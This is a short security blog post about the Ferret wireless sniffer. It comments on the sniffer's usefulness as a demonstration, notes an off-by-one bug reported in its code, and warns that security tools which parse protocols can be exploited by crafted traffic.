The sniffer itself, for all the attention it is getting, isn’t really anything special (and I believe that the authors realize this). Now, my disclaimer here is that I have yet to actually run it, although I have browsed the code as part of what I’ll be discussing. It makes for a very good demonstration to show people who have no intention of following what you normally do, and just want to see exactly what sorts of data is “leaked” from typical wireless communications. It serves this purpose well, although I feel that a serious attacker or penetration tester would simply log the sniffed traffic, in order to do a more in-depth analysis offline. So if you play with this (or any) tool, pay attention to what it is doing behind the scenes, how you would work it into your attack or assessment processes, and what kind of processing you could do on the output. You might find that you’re better off with something like scapy that’s more flexible for your needs.

(I might take a look at reimplementing some of what Ferret does in scapy for a future post)

Another interesting point is how this demonstrates something that is surprisingly common: Security software, especially of the “hacker”/attack flavor, is often some of the least securely coded software you can find. Much of it is “frankensteined” together out of various pieces of code that were only meant to be illustrative proofs of concept (as in this case), and is often so focused on a goal (as with most exploits) that it throws caution to the wind and makes lots of assumptions about user and network input. I know I’m very guilty of this.

There were a couple of potential vulnerabilities in this sniffer discussed on the DailyDave list earlier today, the first one of which I determined to not be exploitable (due to a boundary check elsewhere). The second was a definite coding error ( “sizeof(array-1)” versus “sizeof(array)-1″ ), which is probably exploitable somehow. I am sure there are other problems, however, and this illustrates something you should always remember: If you’re running software like this, be aware of the risk of crafted traffic exploiting your logging/analysis tools. This is especially the case in software like Ferret (…and Snort, Wireshark, etc.) that has to implement protocol dissection. There’s a lot of fields and special cases to get wrong!

Also, verify the vulnerabilities you find in software, in your rush to be the first to post that you owned it in 60 seconds ;) ,

Edited to amend my take on the second vulnerability as “probably exploitable” ;)

© 2012 McGrew Security Suffusion theme by Sayontan Sinha